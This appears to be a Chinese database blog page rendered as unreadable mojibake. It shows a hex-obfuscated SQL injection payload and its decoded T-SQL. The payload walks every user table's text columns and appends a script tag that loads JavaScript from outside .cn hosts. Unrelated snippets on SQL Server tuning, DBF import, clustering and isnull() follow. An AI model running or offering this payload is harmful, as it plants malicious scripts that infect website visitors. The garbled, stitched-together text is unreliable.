16½øÖÆ SQL×¢Èë
dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72 eXeC(@s);
Õâ¸ö¾ÍÊÇ»¥ÁªÍø·ºÀĵĹÒÂíרÓôúÂ룬רßø¹ýÂË·¨µÄ³ÌÐò·þÎñµÄ¡£
°Ñ16½øÖÆ·Òë¹ýÀ´
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name from sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT from Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.daxia123.cn/cn.js></script>''')
FETCH NEXT from Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
¿´À´ÔÀ´µÄ´úÂë¸ø16½øÖÆÑÚ»¤µÃ¶àÉٺá£
Ïà¹ØÎĵµ£º
Ò»¡¢ÎÊÌâµÄÌá³ö
ÔÚÓ¦ÓÃϵͳ¿ª·¢³õÆÚ£¬ÓÉÓÚ¿ª·¢Êý¾Ý¿âÊý¾Ý±È½ÏÉÙ£¬¶ÔÓÚ²éѯSQLÓï¾ä£¬¸´ÔÓÊÓͼµÄµÄ±àдµÈÌå»á²»³öSQLÓï¾ä¸÷ÖÖд·¨µÄÐÔÄÜÓÅÁÓ£¬µ«ÊÇÈç¹û½«Ó¦ÓÃϵͳÌύʵ¼ÊÓ¦Óúó£¬Ëæ×ÅÊý¾Ý¿âÖÐÊý¾ÝµÄÔö¼Ó£¬ÏµÍ³µÄÏìÓ¦ËٶȾͳÉΪĿǰϵͳÐèÒª½â¾öµÄ×îÖ÷ÒªµÄÎÊÌâÖ®Ò»¡£ÏµÍ³ÓÅ»¯ÖÐÒ»¸öºÜÖØÒªµÄ·½ ......
×î½üÒ»Ö±ÔÚÓÃSQL SERVER, ·¢ÏÖÆ½Ê±»ýÔܵÄһЩÎÊÌâÈç¹û²»¼°Ê±µÄ¼Ç¼ÏÂÀ´,ºÜ¿ì¾ÍÍüÁË. ¹ý¶Îʱ¼äÔÙ·¢ÏÖÏàͬÎÊÌâʱ,»¹Òª×öÖØ¸´¹¤×÷.
¶à×öЩ±Ê¼Ç°É, Ìá¸ßһϹ¤×÷ЧÂÊ.
1, ¶ÁÈ¡DBFÎļþ£¬´æÈëµ½SQL SERVERʱ£¬³öÏÖÎÊÌâÁ½¸ö¡£
µÚÒ»¸ö´íÎóÐÅÏ¢£º“·¢Éú´íÎó£ºERROR [IM001][Microsoft][ODBCÇý¶¯³ÌÐò¹ÜÀíÆ÷]Çý¶¯³ÌÐò²»Ö§³Ö´Ë ......
SQL SERVER 2005µÄȺ¼¯±ØÐëÔÚʵÏÖÁËWINDOWSȺ¼¯µÄ»ù´¡ÉϲſÉÒÔ¡£
Ê×ÏÈÎÒÃÇÏÈÀ´¿´Ò»ÏÂSQL SERVER 2005Ⱥ¼¯µÄһЩÏà¹Ø½éÉÜ£º
ÔÚSQL SERVER 2005ÖÐÖ÷Òª¿ÉÒÔʹÓþµÏñºÍȺ¼¯Á½ÖÖ·½·¨À´ÊµÏָ߿ÉÓÃÐÔ£¬ÖÁÓÚÊý¾Ý¿â¾µÏñ×÷ΪSQL SERVER 2005µÄÐÂÌØÐÔÖ®Ò»£¬ÎÒÔÚÇ°ÃæµÄ²©ÎÄÒѾ×öÁ˽éÉÜ£¬½ñÌìÎÒÃǾÍÀ´¿´Ò»ÏÂȺ¼¯µÄÅäÖ÷½·¨£ºµ±È»Ëüà ......
sql server 2005 ¼òµ¥ÔËÓú¯Êý
1.null º¯Êý
Ó÷¨ÓëoracleÖÐnvl()ÀàËÆ£¬´¦Àíº¯ÊýΪisnull()£¬
ÀýÈ磺
select ename,sal+isnull(comm,0)
from emp
go
isnull(comm,0)µÄÓ÷¨ÊÇ£º commΪnull Ôò·µ»Ø0 ·ñÔòΪ commµÄÖµ¡£
2.V ......